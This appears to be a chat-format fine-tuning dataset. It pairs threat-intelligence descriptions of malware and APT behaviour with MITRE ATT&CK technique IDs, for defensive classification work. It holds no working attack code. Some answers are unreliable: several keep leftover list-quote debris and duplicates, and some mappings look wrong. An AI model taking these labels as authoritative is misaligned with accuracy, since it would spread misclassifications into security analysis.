                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors collected email from Office 365 using a compromised valid service account with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOCTOPUS has used `cmd.exe` and batch files for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The SysInfo plugin runs a selection of basic reconnaissance commands on the victim's machine via a cmd.exe process"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "netbook or inexpensive laptop - Raspberry Pi computer - Bash Bunny, a special tool for carrying out USB attacks"
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDAT can take a screenshot on the infected system."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kinsing has used SSH for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ecipekac has the ability to decrypt fileless loader modules."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mimikatz’s \"LSADUMP::DCSync\" and \"KERBEROS::PTT\" modules implement the three steps required to extract the krbtgt account hash and create/use Kerberos tickets."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MegaCortex has added entries to the Registry for ransom contact information."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the analyzed sample the RAT component was named “BotDLL[.]dll”. It has some typical RAT functionality such as command shell, video recording of the screen, remote desktop, port forwarding, and file system access"
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture', 'T1090 - Proxy', 'T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson can capture webcam video on targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The webshell will save the archives locally to the server in the C:\\Users\\Public\\Libraries\\Recorded\\Files folder, each with a filename with the following structure: [IP address]_c$_Users_[username]__[Desktop-Documents-Downloads]_[year]-[month]-[day]-[hours]-[minutes]-[seconds].7z It is likely that the threat actors use this functionality to rapidly check for new files created by users on the network"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has created accounts on multiple compromised hosts to perform actions within the network."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 leveraged sticky keys to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rancor launched a scheduled task to gain persistence using the \"schtasks /create /sc\" command."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Heyoka Backdoor can enumerate drives on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has the ability to clean up and remove data structures from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ADVSTORESHELL can list files and directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has sometimes used drive-by attacks against vulnerable browser plugins."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, it deletes Shadow Volume Copies and prevent the victim from using Shadow Volumes to recover their encrypted files"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation', 'T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has added persistence via the Registry key HKCU\\Software\\Microsoft\\CurrentVersion\\Run\\."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Destructive dstr command in BE2 config file Also, on some machines, documents were encrypted, but no related plugin could be found"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group has the capability to set up phishing infrastructure to mimic well known websites and trick victims to enter their credentials. This is one of the main methods used by this actor to collect email addresses that later will be used to send spearphishing emails"
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWizard has the ability to scan ports on a compromised network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nebulae uses functions named \"StartUserModeBrowserInjection\" and \"StopUserModeBrowserInjection\" indicating that it's trying to imitate chrome_frame_helper.dll."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SHOTPUT has a command to obtain a directory listing."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use a custom command and control protocol that can be encapsulated in HTTP or HTTPS. All protocols use their standard assigned ports."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuTo Stealer can place malicious executables in a victim's AutoRun registry key or StartUp directory, depending on the AV product installed, to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  module has a default C2 port of 13000."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains additional code to execute on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can execute commands remotely by creating a new service on the remote system."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo includes payloads written in JavaScript."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The lnk files were an especially interesting development because the powershell code they contain for decoding and dropping the payload is nearly identical to that utilized by the Zebrocy threat actor a month earlier"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed during a Mandiant incident response in 2018 and, to date, solely utilized by APT34"
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials', 'T1003.004 - OS Credential Dumping: LSA Secrets', 'T1555 - Credentials from Password Stores', 'T1552.001 - Unsecured Credentials: Credentials In Files', 'T1003.001 - OS Credential Dumping: LSASS Memory', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell can check the services on the system."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gather domain and account names based on all running processes  Gathering account information from running processes"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If that fails, the payload will use DNS tunneling by first issuing a DNS query to resolve the following domain to notify the C2 that the payload will send data to it in subsequent DNS queries:   ns1.<random number between 100000 and 999999>.<c2 name>   The payload will then split the message up into 60-byte chunks (only 1 in this case), which it will send to the C2 via DNS queries to resolve domains structured as:   <encoded/encrypted data of message>.<same random number between 100000 and 999999>.<c2 name>   The payload will notify the C2 that it is done sending data by issuing a DNS query to resolve a domain structured as:   ns2.<same random number between 100000 and 999999>.<c2 name>   Package Comparison of the QUADAGENT Samples The bat2exe version (SHA256: 5f001f3387ddfc0314446d0c950da2cec4c786e2374d42beb3acce6883bb4e63)has a batch script, PowerShell script, and associated file names embedded within several resources that it will decrypt using RC4 and various MD5 hashes for keys"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1573 - Encrypted Channel', 'T1048 - Exfiltration Over Alternative Protocol', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used port 80 for C2."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Bazar loader has named malicious shortcuts \"adobe\" and mimicked communications software."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker can delete shadow volumes."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors used software packing in its tools."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoxCaon has created a working folder for collected files that it sends to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The screenshot in Figure 8 of the inf method within a Cannon sample (SHA256: 4405cfbf28…) shows the information gathered that is exfiltrated to the C2 via email, specifically with RunningPlace and LogicalDrives header strings:  Figure 8 inf method used by Cannon When comparing the two Cannon variants, we found a method within a Delphi Cannon sample (SHA256: 5a02d4e5f6…) showing the use of Running place and Logical_Drivers as header strings to the system information it is collecting and sending to the C2 via email"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spark has checked the results of the \"GetKeyboardLayoutList\" and the language name returned by \"GetLocaleInfoA\" to make sure they contain the word “Arabic” before executing."
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Keydnap uses Python for scripting to execute additional commands."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aoqin Dragon has spread malware in target networks by copying modules to folders masquerading as removable devices."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has acquired open-source tools for some of it's operations; for example it acquired Invoke-PSImage to establish an encrypted channel from a compromised host to Sandworm Team's C2 server as part of its preparation for the 2018 Winter Olympics attack."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak obtains Windows logon password details."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "With domain administrator privileges obtained, the threat actors then moved laterally throughout the network using SMB and RDP to deploy Cobalt Strike beacons on the domain controllers around 1 hour after the initial execution of Bazar. On the domain controllers, some additional discovery was done using the PowerShell Active Directory module. After establishing Cobalt Strike beacons on those they felt ready to proceed to their final objectives"
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "USBStealer registers itself under a Registry Run key with the name \"USB Disk Security.\""
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WIRTE has named a first stage dropper `Kaspersky Update Agent` in order to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ServHelper has the ability to execute a PowerShell script to get information from the infected host."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkComet can load any files onto the infected machine to execute."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sakula uses single-byte XOR obfuscation to obfuscate many of its files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some ZeroT DLL files have been packed with UPX."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has used encoded data in HTTP URLs for C2."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team used a backdoor which could execute a supplied DLL using rundll32.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "specifically looks for Domain Admins, Power Users, and the Administrators groups within the domain and locally"
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used the Invoke-Inveigh PowerShell cmdlets, likely for name service poisoning."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These dropped files bundle functionality for both 64bit and 32bit Windows systems and are all located within one directory: C:\\Documents and Settings\\user\\Application Data\\ATI_Subsystem\\ 6761106f816313394a653db5172dc487,amdhcp32.dll,54kb  ← 32bit dll,CompiledOn:2014.07.02 21:13:24 d596827d48a3ff836545b3a999f2c3e3,aticaldd.dll,60kb  ← 64bit dll,CompiledOn:2014.07.02 21:13:26 bc626c8f11ed753f33ad1c0fe848d898,atiumdag.dll,285kb ← 32bit dll, Trojan.Win32.CozyDuke.a, CompiledOn:2014.07.02 21:13:26 4152e79e3dbde55dcf3fc2014700a022,6kb,racss.dat The code copies rundll32.exe from windows\\system32 to its newly created %appdata%\\ATI_Subsystem subdirectory as “amdocl_as32.exe” alongside the three dll’s listed above"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking', 'T1218.011 - Signed Binary Proxy Execution: Rundll32', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 performed network scanning on the network to search for open ports, services, OS finger-printing, and other vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once Shamoon has access to a network share, it enables the RemoteRegistry service on the target system. It will then connect to the system with RegConnectRegistryW and modify the Registry to disable UAC remote restrictions by setting \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy\" to 1."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In addition, multiple APT40 command and control (C2) domains were initially registered by China based domain resellers and had Whois records with Chinese location information, suggesting a China based infrastructure procurement process"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lastly, the new variant of RogueRobin is capable of using the Google Drive cloud service for its C2 channel, suggesting that DarkHydrus may be shifting to abusing legitimate cloud services for their infrastructure"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  trojan supports file deletion."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the .NET PE file has been run, we observed the same behavior as the above QUADAGENT sample of dropping a PowerShell script with the filename SystemDiskClean.ps1 alongside a VBScript file with the same name"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "copies staged data to removable drives when they are inserted into the system."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HotCroissant has the ability to retrieve a list of files in a given directory as well as drives and drive types."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrifeWater can send data and files from a compromised host to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Milan can enumerate the targeted machine's name and GUID."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HyperBro has the ability to take screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
